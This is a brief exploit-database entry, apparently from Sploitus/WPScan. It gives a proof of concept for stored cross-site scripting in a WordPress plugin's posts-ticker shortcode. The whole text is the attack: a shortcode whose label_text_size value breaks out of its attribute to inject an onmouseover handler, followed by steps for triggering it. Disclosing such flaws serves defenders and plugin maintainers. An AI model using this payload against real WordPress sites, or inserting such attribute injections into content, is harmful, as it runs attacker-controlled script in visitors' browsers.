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## https://sploitus.com/exploit?id=WPEX-ID:C34F8DCC-3BE6-44AD-91A4-7C3A0CE2F9D7
Add a post with the shortcode: 

`[spt-posts-ticker label_text_size='" onmouseover="alert(/XSS/)"' label_text="123123"]`

View the shortcode and move your mouse over the string `123123` to see the XSS.